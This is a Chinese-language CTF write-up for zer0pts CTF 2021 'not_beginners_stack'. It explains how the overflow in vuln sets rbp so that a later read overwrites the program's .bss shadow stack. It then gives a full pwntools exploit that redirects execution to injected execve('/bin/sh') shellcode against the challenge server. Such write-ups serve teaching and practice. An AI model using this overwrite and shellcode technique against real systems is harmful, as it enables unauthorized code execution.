zer0pts CTF 2021 not_beginners_stack
题目提供了elf文件和源码
源码是这样的:
global _start section .text %macro call 1 ;; __stack_shadow[__stack_depth++] = return_address; mov ecx, [__stack_depth] mov qword [__stack_shadow + rcx * 8], %%return_address inc dword [__stack_depth] ;; goto function jmp %1 %%return_address: %endmacro %macro ret 0 ;; goto __stack_shadow[--__stack_depth]; dec dword [__stack_depth] mov ecx, [__stack_depth] jmp qword [__stack_shadow + rcx * 8] %endmacro _start: call notvuln call exit notvuln: ;; char buf[0x100]; enter 0x100, 0 ;; vuln(); call vuln ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x100); mov edx, 0x100 lea rsi, [rbp-0x100] xor edi, edi call read ;; return 0; xor eax, eax ret vuln: ;; char buf[0x100]; enter 0x100, 0 ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x1000); mov edx, 0x1000 ; [!] vulnerability lea rsi, [rbp-0x100] xor edi, edi call read ;; return; leave ret read: xor eax, eax syscall ret write: xor eax, eax inc eax syscall ret exit: mov eax, 60 syscall hlt section .data msg_data: db "Data: " __stack_depth: dd 0 section .bss __stack_shadow: resb 1024
为避免返回地址被篡改的问题,程序自己实现了影子堆栈,把返回地址都存在bss段,而非堆栈上。
那么利用思路就很清晰,就是拿到这个存储返回地址的bss段
看一下源码,除掉自己实现影子堆栈的一部分,大致就等价这样一段c程序:
char * msg_data = "Data: "; int __stack_depth=0; size_t __stack__shadow[1024/sizeof(size_t)]; void vuln(){ char buf[0x100]; write(1, msg_data, 6); read(0, buf, 0x1000); return ; } int notvuln(){ char buf[0x100]; vuln(); write(1, "Data: ", 6); read(0, buf, 0x100); return 0; } int main(){ notvuln(); exit(); return 0 }
检查一下保护机制:
可以写shellcode
vuln里有栈溢出,不能控制返回地址,但是可以控制rbp
notvuln里也有一个read,有这样一条语句: lea rsi, [rbp-0x100]
当控制了rbp,就控制了read向那哪个地址写数据,那么就可以拿到影子堆栈,跳到shellcode:
gdb 调试一下:
当执行到第二次的read时,__stack_shadow里的内容是这样的:
read结束后,会跳到 0x400165,它存储在__stack_shadow+8,那么我们就把它覆盖为 shellcode的地址
并且我们利用这次的read机会,把shellcode写在__stack_shadow+0x10,这样就会顺利执行shellcode
利用脚本如下:
#coding:utf-8 #任务就是拿到影子堆栈 from pwn import * context(arch="amd64",os="linux") #sh=gdb.debug("./chall","b * 0x4001d2") #sh=gdb.debug("./chall","b * 0x400160") #sh=process("./chall") sh=remote("pwn.ctf.zer0pts.com",9011) shadow_stack = 0x600234 shellcode=asm( ''' mov rdx, 0 mov rsi, 0 mov rdi, 0x68732f6e69622f push rdi mov rdi, rsp mov rax, 0x3b syscall ''' ) sh.sendlineafter("Data:",b'a'*0x100+p64(shadow_stack+0x100+8)) sh.sendlineafter("Data:",p64(shadow_stack+0x10)+shellcode) sh.interactive()